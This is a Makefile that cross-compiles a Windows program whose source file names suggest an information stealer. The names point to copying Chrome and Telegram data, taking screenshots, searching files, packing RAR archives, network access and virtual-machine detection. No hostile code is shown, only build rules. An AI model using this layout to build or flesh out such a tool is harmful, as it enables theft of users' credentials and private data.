CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -g
LDFLAGS = -lgdi32 -lwininet

TARGET = main.exe

SRCS = main.c process_utils.c system_info.c chrome_copy.c file_utils.c telegram_copy.c file_search_utils.c screenshot_utils.c rar_utils.c telegram_utils.c vm_detection.c

OBJS = $(SRCS:.c=.o)

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CC) -o $@ $^ $(LDFLAGS)

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

clean:
	rm -f $(OBJS) $(TARGET)

rebuild: clean all
